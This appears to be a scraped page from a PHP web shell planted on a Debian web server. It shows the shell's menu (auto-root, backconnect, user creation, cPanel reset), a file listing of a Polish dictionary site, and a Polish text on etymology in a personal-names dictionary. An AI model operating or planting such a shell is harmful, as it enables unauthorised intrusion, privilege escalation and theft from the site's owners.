Linux polon 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
Apache/2.4.59 (Debian)
: 10.2.73.233 | : 3.138.123.240
Cant Read [ /etc/named.conf ]
5.6.40-64+0~20230107.71+debian10~1.gbp673146
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
slownik /
web /
[ HOME SHELL ]
Name
Size
Permission
Action
dbupdates
[ DIR ]
drwxr-xr-x
images
[ DIR ]
drwxr-xr-x
nbproject
[ DIR ]
drwxr-xr-x
pliki
[ DIR ]
drwxr-xr-x
templateorig
[ DIR ]
drwxr-xr-x
.bckp2index.php
2.33
KB
-rw-r--r--
.htaccess
110
B
-rw-r--r--
.htpasswd
45
B
-rw-r--r--
auth.php
219
B
-rw-r--r--
backend.html
276
B
-rw-r--r--
bibliografia.html
196.78
KB
-rw-r--r--
cojest.htm
18.21
KB
-rw-r--r--
cojest.html
18.27
KB
-rw-r--r--
commonHeader.php
790
B
-rw-r--r--
commonHeader.php.produkcja
533
B
-rw-r--r--
dc.sql
745
B
-rw-r--r--
default.css
5.82
KB
-rw-r--r--
defaultPrint.css
5.39
KB
-rw-r--r--
etymol.html
10.08
KB
-rw-r--r--
fleks.html
40.27
KB
-rw-r--r--
fleksja.htm
43.82
KB
-rw-r--r--
index.html
269
B
-rw-r--r--
index.php
2.26
KB
-rw-r--r--
info.php
217
B
-rw-r--r--
innow.html
3.7
KB
-rw-r--r--
logo.html
12
B
-rw-r--r--
logo.jpg
80.11
KB
-rw-r--r--
logo.php
76
B
-rw-r--r--
logo.png
41.17
KB
-rw-r--r--
logout.php
95
B
-rw-r--r--
maincontentclass abc.php
60.86
KB
-rw-r--r--
maincontentclass.php
66.9
KB
-rw-r--r--
maincontentclass.php.bak
61.9
KB
-rw-r--r--
maincontentclassKOPIA.php
50.75
KB
-rw-r--r--
mainmenuclass.php
789
B
-rw-r--r--
mys
33
B
-rw-r--r--
onas.html
3.14
KB
-rw-r--r--
pasekPorcjowania.php
1.37
KB
-rw-r--r--
phpinfo.php
21
B
-rw-r--r--
poco.html
4.91
KB
-rw-r--r--
pocoz.html
5.19
KB
-rw-r--r--
pocozz.html
4.87
KB
-rw-r--r--
pragma.html
33.56
KB
-rw-r--r--
print.php
2.43
KB
-rw-r--r--
printTylkoEtym.php
2.46
KB
-rw-r--r--
printWZOR.php
2.22
KB
-rw-r--r--
reguly.html
14.96
KB
-rw-r--r--
reguly2.html
445.68
KB
-rw-r--r--
reguly3.html
111.8
KB
-rw-r--r--
reguly33.html
27.68
KB
-rw-r--r--
robots.txt
14
B
-rw-r--r--
seman.html
13.09
KB
-rw-r--r--
servertypeNOUPLOAD.php
83
B
-rw-r--r--
skladnia.html
9.17
KB
-rw-r--r--
slowa.html
5.17
KB
-rw-r--r--
smietnik.txt
938
B
-rw-r--r--
sno1.sql
6.41
KB
-rw-r--r--
sources.php
992
B
-rw-r--r--
sqltest1.sql
87
B
-rw-r--r--
sqltest2.sql
327.5
KB
-rw-r--r--
sqltest3.sql
2.87
KB
-rw-r--r--
test.php
11.36
KB
-rw-r--r--
test2.php
12.04
KB
-rw-r--r--
test2database.php
570
B
-rw-r--r--
test2delete.php
199
B
-rw-r--r--
test2formularz.php
2.88
KB
-rw-r--r--
test2lista.php
5.91
KB
-rw-r--r--
test2sleep.php
34
B
-rw-r--r--
test2zapis.php
555
B
-rw-r--r--
test2zdj.php
552
B
-rw-r--r--
upd
113
B
-rw-r--r--
userclass.php
3.08
KB
-rw-r--r--
ut.sql
659
B
-rw-r--r--
zalozenia.html
2.43
KB
-rw-r--r--
zuserclass.php
3.04
KB
-rw-r--r--
zzalozenia.html
241.85
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : etymol.html
<div style="text-align: justify; line-height: 180%"><b><font size="3"><a name="_Toc310981487">2.6.<span> </span>Etymologia w <i>Słowniku nazw osobowych</i></a></font></b><br/><br/></div> <div style="text-align: justify; line-height: 180%"> Informacja etymologiczna stanowi obligatoryjny element składni opisu wszystkich jednostek leksykalnych uwzględnionych w SNO. Jest to innowacja w opisie leksykograficznym, jeśli chodzi o słowniki polszczyzny ogólnej (a takim jest przecież SNO), ponieważ w nich opis etymologiczny jest stosowany na ogół w odniesieniu do wybranych form hasłowych (por. np. XX-wieczne słowniki języka polskiego). W pewnym sensie zbliża to SNO do słowników etymologicznych, ale trzeba podkreślić, że inne są tu kryteria doboru materiału leksykalnego. W słownikach etymologicznych zawarte jest słownictwo, które „poddaje się” przyjętym selektywnym zasadom opisu etymologicznego – np. słownictwo rodzime, słownictwo epok danych, słownictwo pochodzenia obcego itp. W SNO kryterium doboru haseł ma charakter semantyczny i bezwyjątkowy, obejmuje on bowiem wszystkie leksemy charakteryzujące ludzi (rzeczowniki i zsubstantywizowane przymiotniki) występujące w przyjętych podstawach materiałowych (USJP, NKJP). Tym samym ujęcie etymologii w SNO jest typowe dla tzw. słowników korpusowych, uwzględniających pełen rejestr jednostek leksykalnych przyjętego korpusu tekstów (por. np. W. Decyk-Zięba, S. Dubisz (red. nauk.), <i>Glosariusz staropolski. Dydaktyczny słownik etymologiczny</i>, WUW, Warszawa 2008).<br/><br/></div> <div style="text-align: justify; line-height: 180%"> Na kompletny opis etymologiczny składają się w SNO następujące komponenty: 1) opis genezy i ewolucji leksemu z uwzględnieniem zmian formalnych i znaczeniowych oraz 1a)<a title="" name="_ftnref13" href="#_ftn13"><span><span><span>[1]</span></span></span></a> dane dotyczące zmian kształtu gramatycznego, rejestru stylistycznego, przykłady użyć; 2) informacja o pierwszym zapisie leksykograficznym leksemu. Komponenty 1), 2) mają charakter obligatoryjny, one bowiem decydują o zakresie informacji etymologicznej. Komponent 1a) występuje selektywnie wtedy, gdy w dziejach danego leksemu zaistniały istotne tego typu zmiany, które wpłynęły na jego dzisiejszy status (postać), lub gdy ilustrują one szczególnie interesujące (niejednokrotnie jednostkowe) przekształcenia (por. np. <i>absztyfikant, konfident, mistrz, paparazzo, pracoholik, reżyser, towarzysz, zakapior</i>). Poszerza ten opis wykaz literatury źródłowo-przedmiotowej, informujący o zakresie ekscerpcji leksykograficznej w odniesieniu do danych diachronicznych (zob. S. Dubisz, P. Sobotka, <i>Informacja diachroniczna w badaniach współczesnych pospolitych nazw osobowych (uwagi z zakresu leksykografii i etymologii)</i>, „Poradnik Językowy” 2010, z. 10, s. 18-21 [5-28]).<br/><br/></div> <div style="text-align: justify; line-height: 180%"> Przyjęty w SNO sposób określania datacji leksemu na gruncie języka polskiego poprzez podawanie słownika po raz pierwszy notującego ten kształt ma na celu uprawdopodobnienie tego składnika informacji. Podawanie bowiem chronologicznych danych bezwzględnych poprzez określenie wieku, ćwierci wieku lub konkretnej daty jest niecelowe wobec bardzo zróżnicowanych datacji, występujących w słownikach etymologicznych i opracowaniach szczegółowych. Zastosowana metoda ma zatem ukonkretnić informację etymologiczną.<br/><br/></div> <div style="text-align: justify; line-height: 180%"> Jak już zaznaczono, w SNO opis etymologiczny obejmuje wszystkie jednostki leksykalne. Ogólnie rzecz ujmując, można je podzielić na cztery zasadnicze grupy ze względu na ich pochodzenie i ewolucję:</div> <div style="text-align: justify; line-height: 180%">1)<span> </span>wyrazy rodzime pochodzenia przedpolskiego (psł., pie.);</div> <div style="text-align: justify; line-height: 180%">2)<span> </span>wyrazy rodzime pochodzenia polskiego – różnego typu derywaty, kompozycje i skrótowce, które na gruncie języka polskiego w czasach historycznych (od X w. do XXI w.);</div> <div style="text-align: justify; line-height: 180%">3)<span> </span>wyrazy rodzime, tzw. zapożyczenia wewnętrzne – jednostki leksykalne, które weszły do słownictwa ogólnopolskiego z terytorialnych i socjalnych nieogólnopolskich wariantów polszczyzny;</div> <div style="text-align: justify; line-height: 180%">4)<span> </span>zapożyczenia zewnętrzne – jednostki leksykalne, które zostały przejęte przez język polski z innych języków (zapożyczenia formalno-semantyczne, repliki strukturalne, repliki semantyczne, cytaty).<br/><br/></div> <div style="text-align: justify; line-height: 180%"> W SNO przyjęto zasadę, że opis etymologiczny będzie obejmował cały ciąg ewolucyjny leksemu z uwzględnieniem różnych stadiów medialnych, co jest szczególnie istotne w wypadku tzw. wyrazów wędrownych czy internacjonalizmów (europeizmów). Odeszliśmy w ten sposób od dominujących w słownikach polszczyzny ogólnej zasad etymologii częściowej, polegających na podawaniu albo bezpośredniego etymonu, czyli bezpośredniego źródła zapożyczenia (por. np. USJP), albo etymonu genetycznego (por. np. słowniki historyczne, część haseł w SJPDor.). Wybór tej koncepcji opisu etymologii podyktowany jest chęcią przedstawienia informacji na tyle kompletnej, na ile pozwalała na to kwerenda i ekscerpcja leksykograficzna. <br/><br/></div> <div style="text-align: justify; line-height: 180%"> Opis etymologiczny w takim słowniku jak SNO, który z natury rzeczy ma synchroniczny charakter (co wiąże się m.in. z motywacjami o charakterze utylitarnym), ma sens podwójny:</div> <div style="text-align: justify; line-height: 180%">1)<span> </span>ma na celu pokazanie procesów, które ukształtowały współczesną synchroniczną postać formalną i semantyczną danego leksemu;</div> <div style="text-align: justify; line-height: 180%">2)<span> </span>ma na celu ukazanie historycznej synchronicznej postaci jednostki morfologicznie i semantycznie podstawowej (nierozkładalnej), która zapoczątkowała dzieje współczesnej pospolitej nazwy osobowej i ulegała przekształceniom, które obrazują kolejne synchroniczne stadia ewolucyjne.<br/><br/></div> <div style="text-align: justify; line-height: 180%"> W ten sposób uzyskujemy bowiem wiedzę zarówno o jednostkach leksykalnych, jak i o systemie językowym.</div><br> <div style="text-align: justify; line-height: 180%"><b>Skróty stosowane w etymologicznej</b> części opisu</div> alb. - albański<br> ang. - angielski<br> arab. - arabski<br> aram. - aramejski<br> arm. - armeński<br> asyr. - asyryjski<br> białorus. - białoruski<br> bibl. - biblijny<br> bułg. - bułgarski<br> celt. - celtycki<br> chin. - chiński<br> chorw. - chorwacki<br> czes. - czeski<br> daw. - dawniej (przy nazwie)<br> dial. - dialekt, dialektalny<br> duń. - duński<br> egip. - egipski<br> est. - estoński<br> etiop. - etiopski<br> fiń. - fiński<br> flam. - flamandzki<br> fr. - francuski<br> germ. - germański<br> goc.gocki<br> gr. - grecki<br> gruz. - gruziński<br> gw. - gwarowy<br> hebr. - hebrajski<br> hind. - hinduski<br> hiszp. - hiszpański<br> hol. - holenderski<br> id. - tak samo, również, idem<br> ie. - indoeuropejski<br> ind. - indyjski<br> indochiń. - indochiński<br> irl. - irlandzki<br> isl. - islandzki<br> ital. - italski<br> itd. - i tak dalej<br> itp. - i tym podobne<br> jap. - japoński<br> jid. - jidysz<br> kazas. - kazaski<br> kirg. - kirgiski<br> klas. - klasyczny<br> kong. - kongijski<br> koreań. - koreański<br> kość. - kościelny<br> łac. - łaciński<br> łot. - łotewski<br> m.in. - między innymi<br> maced. - macedoński<br> mołd. - mołdawski<br> mong. - mongolski<br> n.e. - naszej ery<br> nider. - niderlandzki<br> niem. - niemiecki<br> norw. - norweski<br> np. - na przykład<br> npol. - nowopolski<br> ogsł. - ogólnosłowiański<br> p.n.e. - przednasząerą<br> pers. - perski<br> pie. - praindoeuropejski<br> pol. - polski<br> poł. - połowa (wieku, lat)<br> port. - portugalski<br> prus. - pruski<br> psł./prsł. - prasłowiański<br> reg. - regionalny<br> rom. - romański<br> ros. - rosyjski<br> rum. - rumuński<br> rus. - ruski<br> rzym. - rzymski<br> sanskr. - sanskrycki<br> scs. - staro-cerkiewno-słowiański<br> serb. - serbski<br> serb. - chorw. - serbskochorwacki<br> skand. - skandynawski<br> słow. - słowiański<br> słowac. - słowacki<br> słoweń. - słoweński<br> stang. - staroangielski<br> stczes. - staroczeski<br> stfr. - starofrancuski<br> stpol. - staropolski<br> strus. - staroruski<br> sumer. - sumeryjski<br> syr. - syryjski<br> szkoc. - szkocki<br> szwedz - szwedzki<br> śr.łac. - średniowieczna łacina<br> śrpol. - średniopolski<br> śrwniem. - średnio-wysoko-niemiecki<br> tadż. - tadżycki<br> ts. - tosamo<br> tur. - turecki<br> turkm. - turkmeński<br> tybet. - tybetański<br> ukr. - ukraiński<br> uzb. - uzbecki<br> w. - wiek (z liczbą rzymską)<br> waloń. - waloński<br> węg. - węgierski<br> wiet. - wietnamski<br> wł. - włoski<br> wsp. - współczesny<br> znacz. - znaczenie<br><br> <hr align="left" width="33%" size="1" /> <div id="ftn13" style="text-align: justify"> <a href="#_ftnref13" name="_ftn13" title=""><span><span><span>[1]</span></span></span></a> W SNO znacznika 1a) brak, zastępuje go światło rozddzielające informację o zmianach semantycznych oraz gramatycznych czy rejestru stylistycznego.</div>
Close